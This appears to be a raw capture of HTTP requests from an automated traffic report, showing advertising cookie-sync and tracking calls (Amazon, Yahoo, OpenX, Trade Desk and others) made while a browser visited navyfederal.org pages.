Source: global traffic	HTTP traffic detected: GET /sync_a9/https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dbidswitch.com%26id%3D%24%7BUUID%7D HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=openxHMT&id=IU6Tn8pARVKPmCDwMrtS3Q HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /map?dsp_id=12&uid=bJBYJggHRl-8eMKZ1raaLQ HTTP/1.1Host: sync.rfp.fout.jpConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=sizmek&id=f61b9649-e91d-4cf8-896a-9588ddfc6d14 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /cms?partner_id=AMAZON&ex=gemini HTTP/1.1Host: cms.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLUYUWYCEOpyE36cfhNXYQhYWKm__8wFEgEBAQFqUmZaZtwr0iMA_eMAAA&S=AQAAAiSpsJNfzseXuBNK5dXiVes; IDSYNC=19ba~2ily
Source: global traffic	HTTP traffic detected: GET /dspreply?dspId=1868&dspUserId=icct8MEfQBmuN1O45B3b6Q&redir=https://s.amazon-adsystem.com/ecm3?ex=dailymotionHMT2&id= HTTP/1.1Host: public-prod-dspcookiematching.dmxleo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=taboola.com&id=80d5cc5b-0a22-4705-9f6f-1861e8006778-tuctd4a9e44 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?id=219933204892004054749&ex=neustar.biz HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=yieldmoHMT&id=QKgTnQyQRDSeGLrmn4OV6w HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=bluekai.com&id=Do06cmvS99OskNaZ HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=taboola.com&id=80d5cc5b-0a22-4705-9f6f-1861e8006778-tuctd4a9e44 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /sync_a9/val=xly2KwPTQhOUBoJo6ORVnA&redirect=https://s.amazon-adsystem.com/ecm3?ex=bidswitch.com&id=${UUID} HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https://cookie-matching.mediarithmics.com/input?key=APX&apx_uid=$UID&opid=apx&ops=&utidl=&action=GET_ID&etid=&domid=1109 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; XANDR_PANID=NKMGS9Twxjo6H0d4xg31IMKQLgBt50x7m5TfyQMEkjYtxbArrlOOapSE9KrWT55KVffqeuEmhoYeVV8wh5UbopZeEWHDkhWgKiRbE9Z7VHw.; uuid2=6116765264039870456; anj=dTM7k!M40<D>6NRF']wIg2E?d?=+XZNZQ64?TJMhB6Y.<3Q9(!1DDYd+:z>x+eapOV%acua5_RUeJB46T5oe6_4$OUo[6<K`vN[#K?xmey)PK#^V)$pE:'C?c>Afr*yWL3=fL[F7t0SIj4s<EL@5S%v4VB%ns>)/F-Zd
Source: global traffic	HTTP traffic detected: GET /map?dsp_id=12&uid=bJBYJggHRl-8eMKZ1raaLQ HTTP/1.1Host: sync.rfp.fout.jpConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f46e0e56-6062-4c7b-bbc6-b6f1e2e28664%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A2%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCNvcm_yup4YDFUlzQQId92gD5Q%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6875800667488%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D1576649674%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fbranches-atms.html%3F%22%2C%22fingerprint%22%3A%22%22%2C%22fingerprintProvider%22%3A%22%22%7D HTTP/1.1Host: bttrack.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
Source: global traffic	HTTP traffic detected: GET /ecm3?id=38297f77e175b13c7eb1fc2f0ebaa43&ex=freewheel.tv&gdpr=&gdpr_consent=&userId= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ups/58725/cms?partner_id=AMAZON&ex=gemini HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLUYUWYCEOpyE36cfhNXYQhYWKm__8wFEgEBAQFqUmZaZtwr0iMA_eMAAA&S=AQAAAiSpsJNfzseXuBNK5dXiVes; IDSYNC=19ba~2ily
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync_a9/https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dbidswitch.com%26id%3D%24%7BUUID%7D HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=fcd72d80-e37b-47d2-9126-0e4dac7f961d; c=1716590789; tuuid_lu=1716590789
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=e818ca1e-0c23-caa8-0dd3-096b0ada08b7&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dopenx.com%26id%3D%7BOPENX_ID%7D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=07378af9-3c0a-4f02-9a30-ee1d85f0ce79\|1716590776
Source: global traffic	HTTP traffic detected: GET /dspreply?dspId=1868&dspUserId=icct8MEfQBmuN1O45B3b6Q&redir=https://s.amazon-adsystem.com/ecm3?ex=dailymotionHMT2&id= HTTP/1.1Host: public-prod-dspcookiematching.dmxleo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/v1?source_id=wE4DpHXcQL5mguNBAJxVK3sW&source_user_id=oQsO9a_fTvyLfsl4M_h3_w HTTP/1.1Host: match.sharethrough.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?id=219933204892004054749&ex=neustar.biz HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=bluekai.com&id=Do06cmvS99OskNaZ HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /p?c1=9&c2=27552257&r=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dcomscore.com%26id%3D%25AX_UUID%25 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?id=38297f77e175b13c7eb1fc2f0ebaa43&ex=freewheel.tv&gdpr=&gdpr_consent=&userId= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /xuid?mid=8341&xuid=j2txwqVrTou82fofghzSEg&dongle=az46&rdir=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3DtripleliftHMT%26id%3D%24UID HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=4311655648632522917084; tluid=4311655648632522917084
Source: global traffic	HTTP traffic detected: GET /ecm3?id=e11e83fbcf382d98697e6b3cc74afa0&ex=freewheel.tv&gdpr={gdpr}&gdpr_consent={gdpr_consent}&userId=q4pbDMm1SEWkCQa7gNP-yA HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /amazon/1/get?_url=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsemasio%26id%3D%24%7BUIPID%28%29%7D HTTP/1.1Host: uipglob.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=bidswitch.com&id=0a0d1ff8792a1f8ccac2f97b7225f511 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /input?key=APX&apx_uid=6116765264039870456&opid=apx&ops=&utidl=&action=GET_ID&etid=&domid=1109 HTTP/1.1Host: cookie-matching.mediarithmics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=openx.com&id=8c4dc9dd-8927-cb0f-00e8-a46289e43664 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=doubleclick.net&google_error=3 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?id=y-goL7EHNE2pFaKpW2Ux_9vNNKPSAFiysXjOrE~A&status=OK&ex=gemini HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&upid=4b42dtd&upv=1.1.0&paapi=1 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.navyfederal.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFGAUgAigDMgsIosGa_cGT_jwQBTgBQgQiAggBWgdwY2w4Yml5YAE.
